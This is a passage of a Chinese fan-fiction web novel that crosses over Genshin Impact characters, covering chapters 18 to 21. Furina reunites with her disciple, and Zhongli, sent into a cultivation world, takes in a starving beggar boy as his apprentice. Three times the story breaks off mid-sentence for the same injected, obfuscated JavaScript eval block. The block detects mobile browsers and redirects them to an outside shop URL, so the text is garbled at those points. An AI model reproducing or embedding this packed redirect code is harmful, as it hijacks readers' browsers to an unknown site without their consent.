直播间再临,全球人民震撼,但这却并不是国运游戏再开。 屏幕里的主人公,大家也很眼熟,已经是成名歌星的蓝海心和她的搭档鎏。 鎏臭着脸,和蓝海心面面相觑,他们明明是在海神殿上念叨,想要再看见芙宁娜,没想到一眨眼却是天翻地覆。 “这里……是哪里?” “我哪儿知道?”蓝海心翻个大白眼。 他们俩此刻正泡在海里面,映入眼帘的,是一座宏伟的城邦,一眼过去,四通八达的航线从城中延伸出去,还能看见远处岸上房屋的样式。 蓝海心不知怎么形容,像是——童话一样。 远处的水波声传来,一艘奇特的巡航船开了过来,上面站着一个异常可爱的生物。 明明不是人类,却穿着蓝色的制服,背后还有一对小小的翅膀。 “你们——好——请问——你们在———这里——做什么?” 她说话一顿一顿的,大概是手的部位摸着下巴,表情很是疑惑。 “……我们,我们在游泳。” 蓝海心憋了半天,憋出了这么一句话,引来鎏一副无语的目光。 ‘哈哈哈哈哈,不是,我都比你会忽悠。’ ‘除非对面是傻子,谁会信啊?’ ‘你头上有犄角,她头上有触须,四舍五入是同族,同族不骗同族。’ “哦。” 很明显,对面的美露莘信了,于是她开着巡航船准备离开,不去管这两个游泳的怪人,不过走之前,她又仔仔细细地去看了看蓝海心的龙角,好漂亮,她也想长,不如下班以后,去买一个同款的发箍吧? 看着她远去的身影,鎏也沉默了,真的信了? “诶,等等等等。” 蓝海心也没想到她这么好忽悠,赶忙把她拦下来,手趴扶在船边,“不好意思,那个……能问个问题吗?” “可以哦,帮助大家是莉缇斯的职责。” “你叫莉缇斯是吗?你好,我叫蓝海心,这是我的朋友鎏,我们,我们可能是游的太远了,能问一下,这里是哪里吗?” “蓝海心,鎏,你们好,这里是塞洛海原,再往前,你们就可以进入枫丹廷了,如果离家太远,可以乘坐水上航线回家,当然,你们想游回去的话,也请注意安全。” 莉缇斯今天还是第一次在海面上碰见人类,她脑子里把自己背过的话术完完整整说了一遍,她好聪明!嘿嘿,帮到了人呢。 “枫、枫丹廷?” “是的,从那里,”莉缇斯指了指,“从那里就可以上岸了哦。” “你知道芙宁娜吗?” 蓝海心眼里都是激动,鎏也游上了前来,耳朵听得别提有多仔细了,芙宁娜师父曾经提到过,她的家乡叫做枫丹,这里,这里是她的家乡啊! 那他们是不是可以再看见芙宁娜大人? “唔姆,是水神大人啊。” 莉缇斯可喜欢芙宁娜大人的歌剧了,但是她总是分不到去欧庇克莱歌剧院维护秩序的工作,不能看表演,好难过。 “她在哪儿,你知道吗?” “水神大人今天在欧庇克莱歌剧院表演。” 说着,她指了指另一个方向,离她们不算远,这下子,蓝海心已经坐不住了,她直接腾飞而起,把底下的鎏落在了原地,他愣了一下,往海底一潜,奋起直追。 这栋宏伟的建筑屹立在蓝海心眼里是如此地醒目,她化为小白龙飞过来,又匆匆忙忙落到地上,把刚刚传送过来的旅行者兄妹和派蒙都惊了一下。 “诶!是龙诶,提瓦特大陆除了元素龙王,还有别的龙吗?” 空摇摇头,他心里已经猜测,世界之外的气息,很有可能是新的降临者,但是荧却先他一步,自信A了上去。 “你好啊,你也是来这里看歌剧的吗?” 蓝海心一转头,金发的女孩子笑着站在她身前,她有些不好意思,此刻才意识到自己似乎是有点太冲动了。 “我想找芙宁娜师父。” “芙宁娜师父?诶,你——你叫什么?” “我叫蓝海心。” 荧已经想起来了,先前芙宁娜失踪了好几个月呢,她那段时间接到委托寻找芙宁娜的时候可是急疯了,不过后来那维莱特得了消息。 听说芙芙被请去当老师了,她的大弟子,芙芙自己说的,就叫蓝海心。 荧仔仔细细地看了她几眼,描述也对得上,长着一对龙角,就凭这一点,就已经很难模仿了。 “我应该知道你,芙芙有时候也会说起,走,我带你去找她吧。” 荧直接落下身后的哥哥,拉着蓝海心,在社牛的道路上不断前行。 空此刻叹口气,看着她远去的背影,刚想走,身后又追来一个银发大美人,把派蒙迷得头昏脑胀。 “空,空!你看你看,刚刚有小白龙,现在又有大美人诶,她好漂亮!” 新老婆,诶嘿。 “你再看,是个男孩子啊。” 他无情打破派蒙的幻想,让她目瞪口呆,这时候,鎏朝他看了过来。 “你好,你刚才看见一个白龙飞过来吗?人形是个女孩子,是来欧庇克莱歌剧院找芙宁娜大人的。” “哦哦哦,你是说刚才和荧离开的女孩子哇?我们知道我们知道。” 派蒙踊跃发言,她拉着空走到鎏的身旁,“我们不如一起进去好了,今天是芙宁娜《轻涟》舞剧的第五次巡演了,大家怎么也看不腻的样子,听说还有新剧本试演呢,走吧走吧,去晚了就什么也看不见了。” 芙芙的歌声,少听一句都是遗憾啊! 今天欧庇克莱歌剧院可谓是大爆满,还要感谢娜维娅给他们预留的座位呢,不然只有去人挤人了。 而前头,蓝海心已经和荧坐在了高台的沙发上,舞台中央,她看着与演员一起舞蹈的芙宁娜,即使站在人堆里,她也一如既往的闪闪发光,任谁都能看出,她是剧中的主角。 人潮涌动的地方,却又如此安静,随着背景音乐的响起,她的歌声唱响整个剧院。 ‘这就是芙芙的国度吗?好有特色。’ ‘我还以为再也见不到了。’ ‘这是什么歌?这是什么歌?听得我热泪盈眶。’ ‘前几排坐着的人都长的好好看啊,原来异世界的大家颜值都那么高吗?’ ………… 前面几排?坐在高处的蓝海心也朝他们看了几眼,那地方坐的似乎都是什么不得了的大人物,后面人山人海,前头却没人敢挤过去。 一个白色长发的高大男人,还有蓝白发色相间的……芙宁娜? 蓝海心有些惊讶,她看了眼台上的芙宁娜,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987117|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了眼台下的‘芙宁娜’,两个人气势气势一点也不一样,蓝海心与芙宁娜相处了那么久,当然也能区分出来,坐在台下的不是她的师父,而是一个和芙宁娜长得一模一样的人。 大抵是太过敏锐,蓝海心不过多看了几眼,那个高大的男人就已经将目光转向了她。 是个不认识的人,那维莱特看了她一眼,便将目光重新投向舞台。 ‘芙芙是双胞胎吗?’ ‘双倍的芙芙,双倍的快乐!’ ‘没人发现,前排的帅哥美女真多吗?气势也很不一样,啊!还有金发的双生子,他们也好好看!’ ………… 弹幕上的讨论,蓝海心自然也知道,但她更关注台上的芙宁娜,即使鎏来到了她身后,她也没有在意。 直到整个歌剧落幕,芙宁娜试演的剧目也走向终结,她优雅地朝台下致敬一礼,随后,台下爆发出惊人的欢呼与喝彩声。 “终于结束了,芙宁娜还是一如既往的受欢迎呢。” 派蒙捂着耳朵,每次都这样,她都已经见怪不怪了。 荧此时看向蓝海心,“走吧,表演结束了,我们去见芙宁娜。” 她拉着蓝海心就舞台后方走去,不过到的时候,已经不止她们一波人了。 那维莱特、芙卡洛斯还有希格雯全都在这里了,还有莱欧斯利,这可真是罕见,他居然舍得踏出梅洛彼得堡了? 芙宁娜为这次的演出成功很是开心,她拉着芙卡洛斯的手不停地说着些什么,芙卡洛斯则是一直笑着倾听,两个长得一模一样的少女一起贴贴的时候,就连旁人也不由得为她们之间无法插足的感情而感到幸福。 “师、师父……” 蓝海心声音低低的,但是却让人群之间的芙宁娜一下就听见了,她的的双瞳里泛起涟漪,下一秒,她就已经带着芙卡洛斯跑了过去。 “海心!我都没想过会再见到你!”她的目光中满是惊喜,之后又转头向芙卡洛斯介绍着眼前的女孩子。 “芙卡洛斯,这就是我跟你说的,我的徒弟蓝海心哦。” 她把芙卡洛斯拉过来,两张一模一样的脸看向她,一样亮闪闪的目光,让蓝海心都飘飞了起来。 “师父,终于,终于又见到你了。” 她笑得很开心,眼里又闪烁起了泪光,下一秒,芙宁娜已经抱住了她,安慰地摸了摸蓝海心的脑袋。 被娇小的师父抱住是什么感受呢,反正令人开心就对了,除了她,直播间里的羡慕无疑让她更加得意。 芙卡洛斯自然知道她,令她复苏的契机,她低头朝蓝海心致以一礼,“你好,我名为芙卡洛斯,是芙宁娜的姐姐。” 那维莱特站在她们身后,也向这位陌生的小姐点头致意。 鎏站在最后面,看着她们十年后的再度相逢,无论她们之间的时间有着怎样的落差,最终的结果是,缘分与幸运让人再度重逢。 这样一张被直播间截下来的照片上,芙宁娜抱着蓝海心与芙卡洛斯站在最中心,周边的人们眼神温和,带着笑意,这大概,就是最好的结局了。 —— “走啦,海心,鎏,我带你们去枫丹廷转一转吧?你们一定会喜欢这里的。” 芙宁娜朝鎏招招手,顺带拉着蓝海心,作为东道主,她势必让这两位异世界来客有一番愉快的旅程。 19.第 19 章 天外之天,这一片混沌的地方,一位褐金色衣装的男人坐在此处,一片天地之间,他衣摆吹落,银杏叶缓缓飘落,却又似是虚幻,从他身上穿透。 “阁下请人的方式,是否有些太过霸道了呢?” 钟离轻笑了一声,语气里谈不上是愤怒还是指责,低沉的声音回荡在这片虚空,直到这方天地有了回应。 “抱歉,我没有别的办法了。” 一个道人出现在这里,祂没有面目,亦没有性别,只是虚虚坐在钟离对面,说着歉意,却又仿若无什情绪。 这遭遇实在难得,钟离也收起了自己悠闲的态度,准备仔细聆听一下,这位异世界的天理究竟何事,才会将他一个无辜人员强行请来。 至于他手边的自称是助教系统的小东西,他没有理会。 “此方世界即将与大世界接轨,如果命运没有出差错的话,可是,在我为了世界升华做准备之时,虚空裂口中溜进来了一个变数。 天命之子的气运皆被此外来者所截获,可其非但没有承担起该有的责任,反而频繁扰乱修仙界与人间界限,惹出滔天大祸,人间界民不聊生,修仙者魔心自起……” 天道谈起这些的时候,太上忘情,亦怜悯苍生涂炭。 那位天命之子,迫切地需要一个护道者。 而此方世界若此次升华被毁,将灵气逸散,大道断绝,最好的结果是世界降格,最坏,有可能重归混沌。 钟离亦有怜悯之心,可是他听完这个故事所有的走向,只能叹息。 “非是那位截取气运者一人之祸矣,若天地之中,生灵皆有坚定向善、向道之心,谈何走向天地终末的结局呢?” 这不是钟离为他人开脱,如果只一人,万万坏不了什么事,坏得是多数人皆有魔心,而那位截取气运的小贼,是加速恶化的诱因。 “所以我找上了你,在系统的帮助下,我观测过许多非凡人物,你的阅历、见解、实力,是最得我心的,我听说,你乃是契约之神?” 钟离点点头,他看向这位天理维系者,有些好奇他会以怎样的条件来说服他呢? “我已替你除去另一位天理降下的磨损,且将我方世界的龙族传承赠予你,让你拥有更加合适的身份,这是我的诚意,也是赠礼,无论后续事情走向如何,我皆不会责怪于你。” 天道的承诺,永不违背,祂知道,如今也唯有真诚能打动眼前的神明,何况,祂认定身前的这位异界之神是一位爱人之神,心有苍生,又能武定乾坤。 真是羡慕啊,可惜这并非自己世界之中的生灵,而是从异世界借来的救兵。 “……唉,我也是把老骨头了。” 钟离叹口气,却没有拒绝,黎明苍生何其无辜?他确实是位爱人之神。 如果只是需要引导那位天命之子走上他该走的道路,教一位徒弟吧,也是一个新奇的体验。 “看来你是同意了,那么依照你的说法,契约已成,食言者当受食岩之罚。” 天道此刻的语气无端舒缓起来,祂朝这位‘被雇佣者’点点头,再度消失,而钟离也从这里站了起来,朝着人间而去。 ———— “给我看看我那位未来的徒弟资料吧。” 钟离捏着手中天星外貌的系统,颇为恶趣味地抛了它一下,让这位助教系统一点声音不敢出。 这个大佬一点也不好骗啊,想到这里,系统就叹口气,不过,它可比隔壁一来就被雷劈得差点死机的那位好多了。 对于它心里的弯弯绕绕,钟离可知道得一清二楚,不过只是懒得计较罢了。 他居于流云之上,一声褐色衣袍,端得是仙风道骨,却又贵气十足的模样,头上的龙角峥嵘,这是这方天地给他安排的身份,太古龙族最后一位龙君,他可是继承了相当大的一份遗产啊。 而系统这边给出的资料,关于那位被截取运道的天命之子,钟离细细地看了起来。 人间界流落民间的皇族,代表身份的玉佩被天外来客骗走,身份被夺取。 本应该是认祖归宗,一朝被仙界门派选中,天赋高绝,一鸣惊人,横渡大荒求仙而去,如今,却由于外人的横叉一脚,暗中打压,几欲凋零在泥地里。 而世界的走向本该是天命之子历经尘世辛苦,心性坚韧,为道而求索,扬向善之心,最终飞升而去,为仙界留下道种,如今却全然变化了。 天命之子辗转零落,又被这位截运者肆意打压,此人虽得了机缘,却又不舍皇权富贵,笼络了贵族,贪图享乐,人前显圣,蛊惑当代帝王以举国之力供奉;却又不顾念苍生,只图成仙得道,永生自在,欲望由他而始,侵蚀蔓延了整个仙界,终究是人之欲盖过道之心,魔,便自此而生了。 贪得无厌,钟离皱起眉头,尚且还未见过面,他便对这位截运者厌恶至极。 “这个外来客……我知道,那不就是其它系统常说的装逼犯吗?喜欢人前显圣,当显眼包。” 词汇过于新潮,钟离沉默了片刻,敲了敲系统,“别跟着乱学。” “想要大自在,当承大因果,因而此方天地才会有雷劫的存在,可是此人,以皇朝之力供养,夺凡人气运,得到了庇佑,却又为难黎民百姓。” 系统理解不了那么多,毕竟它只是个中间商,给老板打工罢了,它现在只眼巴巴地看着大佬。 “那,龙君大人,我们什么时候出发去找徒弟啊?” 故事里名为百里奚的天运之子,此时无名无姓,被夺走了代表了身份的玉佩,还在沿途流浪。 钟离也没有等待,他从云端俯冲而下,落在都城之时,已经变了一副相貌,平平无奇,衣物也与普通百姓无疑了,任谁也无法注意到他。 此刻他从小巷子里拐出去,便直奔目的地而去。 今日是仙门广招弟子的特殊时刻,身份尊贵者自然站在最前面,本来天运之子也是要来的,不过他刚进都城便被人打了一顿,扔出了都城。 人群涌动之中,前方那位衣着不算华贵,神情却狂妄的少年,一眼就能望见。 “滴滴滴——检测到偷渡系统,开启高维监测——” 助教系统虽然胆小,但它的功能可不是吹的,此刻突然就警惕上了,钟离似乎是想到了什么,那么,正如他眼前的助教系统一样,那位截运者看来,也有一个系统作为帮手,恐怕与他手中的这位, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007180|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是对立关系。 ‘哼,一群有眼无珠的家伙,三十年河东,三十年河西,莫欺少年穷!’ 这道独特的心音来自于谁,钟离和系统都明白,便是那位此刻虽然‘认祖归宗’ ,却又不得重视的少年吧? 百里淏。 钟离叹口气,人,他见到了,狂妄自大,且毫无心性可言,那句话虽然豪气,却在他心中说出来,如怨似恨,此人,不堪大用。 那就是那个‘系统’的帮忙了? ‘系统,到底还有多久才能杀了百里奚?’ ‘他有天道庇佑,我们尚且还不能明目张胆,再等等。’ 它的手脚动得轻微,求稳不求速,要知道,欲速则不达啊,可惜它的工具人宿主压根没脑子。 钟离站在人群后,侧耳倾听了一下他们之间的对话,记下了这人,旁边的助教系统听着他们之间明目张胆的对话,听得咬牙切齿,此刻见大佬要走了,它也只能骂骂咧咧地离开。 它只有辅助监管权,论歪门邪道什么的,它还真的不如那个外来统,呜呜呜只能依靠大佬了! “龙君大人你一定要加油啊,那一人一统,简直是无法无天!我们要拨乱反正!把他们赶出去!气死我了……” 手中的天星一路上不停地叭叭,钟离只是轻轻笑了几声,听着它骂人,他竟然觉得有几分新奇。 一路上听着系统的念叨,按照它给的标注,慢慢悠悠地朝天运之子那里晃过去。 先前那位叫百里淏的少年给他的印象是眼高于顶,目下无人,眼下,街边的流浪儿便是可怜又无助了。 十三、四岁的少年,看起来像是九、十岁的样子,发育不良,饿得眼黄肌瘦,身上灰扑扑的,似乎刚才才和人打了一架,脸上青青紫紫的,蹲坐在路边。 他刚刚被人打了一顿,扔出了城门,此刻又忍着痛爬了回来,仙门招募弟子这三日,都城门大开,不会阻止任何求仙者,不过可惜,今日是最后一日,他这一耽搁,便真的与仙门无缘了。 他看起来十分茫然,钟离坐在茶楼上看他,他一无所知,只是看着来来往往的人,失落者居多,也有那么三两个家中有人选上的,高高兴兴地往回走。 儿女被仙门买断世俗亲缘,他们却不像是失去了亲人,而是中了天大的彩票,不舍也有,骄傲也有,总有人心中期盼着,万一儿女成仙发达了,会念及血缘亲情,让他们一人得道鸡犬升天。 “呼——这茶,倒也不错。” 钟离吹了吹茶盏之中的热气,细细品味,可是他这副远处观望,却不靠近的态度,只令系统感到非常不解。 “龙君大人,我们不去收徒吗?” “一个陌生人,冒冒失失走到你眼前,说你骨骼清奇,想要收你为徒,正常人会相信吗?” “那我必须得有大帝之资啊!让他先给我表演一下神通。” 系统自豪起来,旁人看不见的天星都一下子绽放起光芒来,看得出,它似乎骄傲上了,这回答却只让钟离无奈叹口气。 这约莫就是——可可爱爱,没有脑袋? 真实的情况下,大多数人都会害怕这是遇上了不怀好意之人吧? 20.第 20 章 茶楼上,钟离就这样看着茶楼下的少年,他慢悠悠品一口茶,神情扼腕。 他天赋高绝,本应该在试灵石前一鸣惊人,如今明珠暗投,没有伯乐,有什么办法呢? 楼下,小乞儿蹲在墙角,双手抱住膝盖,整个人越发茫然,他娘亲临死前一定要他来皇都,他一个小孩子,从南而来,一路行乞,这条路他走了三年,什么风霜催折没受过。 但是娘给他的玉佩,他最值钱的东西,即使是几乎饿死,他也没有想过要卖掉的东西被骗走,之后的日子,便更觉如同噩梦一样。 明明什么都没做,被冤枉偷窃,被人一路追打,他全都咬牙坚持过去了,因为他听闻皇都仙门招募弟子,他的内心告诉他,那一定是他的生路,只是,一介乞儿,有什么生路可谈? “啪嗒——” 茶楼上,不知是谁丢了些碎银,在所有人都没有注意到的时候,它落在了乞儿面前。 “去买些东西吃吧。” 似乎是怜悯的话,但是声音里似乎又夹杂着温柔,乞儿抬头,碎银的来处空无一人,只余下一盏冷茶,他咬咬牙,把那些银子捏到自己手心里,却并没有什么要离开的动作。 “龙君大人!你就走啦?他万一被欺负怎么办?咱们什么时候把他捡回来啊?这是我见过最凄惨的天命之子了。” 系统碎碎念,对那位小可怜报以十万分同情,边想还边叹气。 “现在,是要去做些正事。” 钟离的神色看起来是胸有成竹,那位截运者身上的系统在源源不断地汲取天命之子的运气,如果任由其发展,后续只怕更加麻烦。 他刚才看似是在闲游,观察了几眼乞儿,实则是在试探那‘系统’到底是以什么办法截取运道的。 按照他脑子里龙族积累的传承知识,用这方世界的方法而言,钟离自然发现了其中的奥秘,恐怕,是以当初那玉佩为系,他们一定还盗取了这乞儿的心头血,强行使得双方的气运转移。 刚才百里淏已经入了仙门的眼,现在尚未离去,时机赶个早,钟离有再次站到了人群之中。 这一次他没有凭空观望,那玉佩,百里淏一直揣着,钟离的眼光何其厉害,一眼就望见了他胸口处露出的那抹温润之泽。 “那块玉佩,才是重点。” 他手指似乎是不经意间弹了弹,无形的波动荡开,让那块玉佩被迫与其共鸣,钟离抬头看了百里淏一眼,他此刻也好似若有所感,朝着钟离的方向望过来,却只能看见一道普普通通的背影。 “哼,都是些蝼蚁,也有资格妄图登仙?” 百里淏站在台上,心下嘲笑起那些贫苦百姓来,至于那远去的身影,他也只当是又一个失败者,实际上,他与‘系统’都未察觉,胸前的玉佩内里早已粉碎,只余下一个空壳,若是有一日外力使然,怕是一撞就碎。 做完这一切,于钟离而言,不过是微不足道的小事,他转身便利落地离开了。 还是赶回去看看,他这未来的徒弟如何了吧,那几块碎银,还是他让茶楼老板找给他的,数额不算太大,不会太过惹眼,想必也能让他吃上些东西。 钟离的耳力不可谓不好,隔了老远都能听见他肚子咕噜咕噜地叫,想来,又是饿了几顿,否则以他的气性,挨打怎么会没有力气还手呢? 心里想着那孩子,钟离的步子也加大了几分,终究是尘世闲游太久,他更多时候只把自己当成一个普通人罢了,现在这力量充盈的感觉,还令他这‘老人家’有些不适应呢。 心里自说自话打趣自己,三两步却一瞬走出百米,擦肩而过之人,皆对他视而不见,待他再度回到茶楼下,那墙角蹲着的孩子依然坐在那里,没有什么动作,看起来,自钟离离开,到他回来,他一步也没有动过。 这时候,不知是心有所感,还是偶然之间,邋里邋遢的乞儿一抬头,就看见了眼前背着光的男人,高大、俊朗,一身的气质仿若天神下凡,他微微垂眸,看向了自己。 即使千年后,已然是被称作仙尊的钟鸣也不会忘记,他初遇师尊那一刻,他命运的岔路口——男人似是垂怜地低头,便让他从地狱步入了人间。 “怎么不去吃点东西,不是很饿吗?” 乞儿一时之间异常局促,他张张嘴,却说不出什么话来,又有些害怕委屈地低下了头,眼里似乎闪过些泪花,强撑着才没有落出来。 钟离半蹲下身子,看向这个即使他蹲下身,在他面前却依然显得很是娇小的孩子,太瘦了,也是,流浪了这么久,本就是饥一顿饱一顿的,那里有肉可长呢? 小小的他不由得让钟离想起魈那孩子小时候,刚来那会,瘦骨嶙峋的,这孩子比之更甚。 “怎么不说话?” 钟离朝他伸手,看着孩子往后面的墙角止不住的后退,却发现退无可退,虽说有些恶趣味了点,但是他却觉得眼下这个受惊的孩子看起来更惹人怜爱了些。 “我、我太脏了,怕污了贵人的手。” 他憋了半天,就说了这么一句话,心中是何感想,也从这话里听了出来,自卑、不可置信,他这样的孩子,怎么会收到陌生人的善意呢? 何况钟离的衣着打扮一看就十分显贵,平日里,怕是看他一眼都是玷污了他的眼睛。 助教系统跟在钟离后头,一听他这话,比钟离还要受感动,“多可怜一孩子呀,太惨了!这么可爱有礼貌的天命之子,那个截运者真是该死啊!” 钟离心里叹口气,这系统,比他还着急些。 再次看向乞儿,钟离的手一直没有收回来,他带着鼓励的眼神,却只得到角落里这个孩子垂下的脑袋,他甚至连看都不敢看。 龙君大人能怎么办呢?他没有再等待了,而是直接用力抱起了这个小孩子,一米九的海拔,让这个小孩一下子害怕地惊叫出声,手也应激地抱上了钟离的脖子。 这下子他 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小孩虽然不大,但是羞耻心这样的东西他还是有点,况且以凡人岁数来算,再过两三年,他都可以娶妻了,要一个成年人给他洗澡?自从娘走了以后,从没有人这样对待过他,上次清洗自己,还是前几天他在郊外随便找了个池塘子泡了一圈。 眼下他磨磨蹭蹭脱掉脏兮兮的衣服,跨过澡盆给自己洗澡,钟离就坐在屏风后面,小孩子洗了澡,总要换一身干净的衣服吧? 他在自己的洞天里寻了许久,倒是找着了一件龙族遗留的法衣,给刚出生的龙崽子倒是适合,随意的变换大小身形,还能防御攻击。 他指挥着系统去把那脏衣服扔了,将法衣放在了一旁,小孩自己没察觉,系统还绕着他飞了一圈。 “龙君大人,他好瘦啊,肋骨都清晰可见,嗯……不过,不愧是天命之子啊,小脸洗干净了还是怪好看的嘞。” 天星外貌的系统又跑回钟离身旁,对着他絮叨,话又多又密,让钟离都不由得揉了揉眉心。 屏风那头,等小孩彻底洗完澡走出来时,他也没有别的衣服穿,只能拿起那件法衣,他未发觉,但是法衣却自动收缩,恰恰好与他的身形吻合。 与钟离同色系的衣服穿在他的身上,倒是映衬的像一个精致的娃娃,他头发湿漉漉的,还没擦干,此刻滴着水,怯生生地跑到了他面前,手指绞着衣角,像个小受气包。 “钟离先生,我洗好了。” 说着,他眼睛偷偷地看着钟离,他不知道这位先生为什么要把他带走,毕竟,他整个人一穷二白,真的没什么好图谋的,除非——他听说,有些衣冠禽兽最喜欢折磨小孩子…… 下一秒,一张毛巾盖上了他的脑袋。 “别乱想,把头发擦干。” 都已经和人走了,才后知后觉发现有些人可能是坏人吗? 21.第 21 章 “不要害怕,你有名字吗?” 小孩摇摇头,他阿娘就叫他小狗,她只说,会有一天,他会有一个像样的名字,与之相应的,他也会有一个不使他受苦的身份,说完这些,她就离开了。 现在被钟离问起名字,他也只会摇头,如果先生叫他小狗,不知怎么地,原来最喜欢阿娘呼唤他的名字了,现在却无论如何也说不出口。 一路上那些人鄙夷的目光,嘲笑他像是只流浪狗,让那个幼时的名字与记忆全都变得陌生且耻辱起来,一想到这里,他就又把脑袋低下去,好像是犯了错一样。 “你想知道,我为何把你带回来吗?” 钟离轻声询问他,说着,揉了揉他的脑袋,眼里全是温柔,没有一丝不耐烦。 “为什么?” 仿佛是被他这样的目光鼓励了,小孩也这么问了出来。 此时此刻,他由衷得希望,如果这位先生真的是想要带他走就好了,也许,他是自己未曾谋面的父亲? “我观你骨骼清奇,天赋异禀,恰恰好,我缺一个弟子,不如……” 钟离的话还没有说完,小孩就已经跪了下来,恭恭敬敬地朝他磕了三个响头,抬起脸的时候,额头上又是一片乌青。 “师父在上,受徒儿一拜。” 他目光执着,不管为什么,他抓住了这一条生路,无论前方是深渊地狱,还是光明坦途,他都决心一条路走到黑。 这模样,可能稍微来个人都能骗到他吧? 钟离面色亦严肃起来,看着跪在地上的孩子,手指敲了敲桌面,寂静之中,他长叹一口气,“既如此,无名无姓,便与我一道姓钟吧,至于名,便叫鸣如何?望你有一日横空出世,一鸣惊人,震慑天下。” 钟鸣,小孩心头念了三遍,他叫钟鸣,从此以后,他也是有名有姓的人了,心底一种别样的别扭感消退,他隐隐觉得有些奇怪,但是在他认定这个名字之后,他此后命数,全都由此改变。 百里奚与钟鸣,自此各走两道。 “弟子钟鸣,拜见师父!” 他又朝钟离行了一礼,然后站起来恭恭敬敬地看着自己新鲜出炉的师父,钟离先生。 说实话,带孩子这事不是第一次,但是教导一个徒弟,这可算是罕见,钟离还是平生第一次,他对眼前这位‘关门大弟子’,也是寄予厚望了。 弟子也收了,他也不准备在这个皇都多留。 “此后,便随我游历四方吧,你我师徒二人为伴,倒也不算孤单。” ———— 要问钟鸣有什么感受,他是很惊讶的,毕竟,钟离的穿着考究,行为举止都称得上高雅,这样一个人,他在跟随钟离几天后,都不敢相信他自称是一个普普通通的游方道士。 是的,钟离如今的对外称呼就是游方道士,他还会帮人看病、主持丧葬,哪里有饭就去哪里蹭一口。 而钟鸣跟着钟离,没有了以往风餐露宿的窘境,到哪里都能凭着师父的口才与智慧混上一口饭吃。 而更让他觉得师父非同一般的,便是他此时身着的衣服了,天衣无缝,随心变幻,甚至于不沾尘埃,此时的他见识还是太少,只单单凭这一点,他就觉得,师父简直是如同仙人一样的存在。 在又被一家主人客客气气地送走时,钟鸣看着师父,小小的眼睛里大大的肯定。 “师父,你一定是仙人吧?” “哦?为什么这么说?” “你知道得那么多,手段还如此奇特,凡人肯定办不到的。” 钟鸣跟着钟离这么久,他也渐渐摸清了师父的脾气,温和善良,是他心里天下第一好的好人。 钟离呢?尘世闲游,他只是想要带弟子练一练心境罢了。 “少东想西想,今日的字识了吗?” “学了学了,师父,我都记住了。” 钟鸣嘟囔着,他觉得那些都很简单,看一眼不就记住了? 这些时日没有被饿着,他反而长了些肉,精致的小脸也有了长开的痕迹,看起来不像是以前那个流浪儿,倒像是锦衣玉食长大的孩子,不到钟离胸口的高度,还是个小少年,不过,即使长高长大了,在年过六千多的钟离眼里,都是小孩子。 “今天我们出发去百灵镇,走吧,把你的书好好背着。” 钟离敲了敲钟鸣的脑袋,两个人迈着步子慢悠悠地上路,为了快,他们走的是小路,这荒山野岭,两人缓步行于此间,倒也算得上是一种情怀。 钟鸣跟着师父,步子迈得大大的,每当他累得喘不过气时,钟离便会自觉地放慢步子等他,待到他有些余力里,又恢复以往的速度。 他们一路朝北,钟鸣不知为什么,只知道跟着师父走就行,但是钟离心中却有一番盘算。 他要带着钟鸣,不借助外力,往北而去,横跨绝灵海。 趁着徒弟年纪小,带徒他多见识见识一下新奇的风景,开拓一下视野,不是件好事情吗? 更何况,如果走传送阵,免不了会与那些仙门大派打交道。 毕竟凡界乃是灵气逸散之地,与修仙界隔着一片绝灵海,想要横跨那里,没有元婴以上的修为,压根不可能,那些仙门为何要在这里招募弟子呢? 钟离悄悄查问过,这也是传统,因为凡间界招来的弟子,要么天赋稀碎,要么一出现,就是天之骄子,仿佛整个凡界所有的天资被两三人全然占据。 想想看,虽然在这里建立一个传送整点有些耗费力气与财力,但是一旦发现一两个沧海遗珠,培养好了就能撑起一个门派未来长时间的脸面与实力,甚至于他们没有后续亲缘关系的拖累,必然以门派为首。 当然,能耗费巨资来此招人的,也只有大门派了。 而钟鸣的天赋,钟离已经悄然查看过了,按修仙界的天赋来看,极品金灵根,天生锋芒;那位取代他的外来者是变异雷属性灵根。 至于钟离,他在此界以龙族身份存在,虽然在提瓦特是岩元素,但是在此却着重贵金,可以说,天下灵脉矿藏,无有他不知者,仅凭这一点,钟离一条龙,加上龙族遗产,能比世界上谁都来得富贵。 但是,现在他却返璞归真,赶路用步行,吃饭靠脑力,给钟鸣一种人很高雅,但是穷的错觉,好似钱财都用来装饰衣着了。 “鸣儿啊,跟着为师,也是受苦了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037419|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一想到作为百里奚,他会被仙门掌门收入麾下,锦衣玉食,再对比现在跟着他累得气喘吁吁的少年,钟离也会有些愧疚,小时候太累了,长大会不会长不高?像是魈那孩子,小时候太累了些。 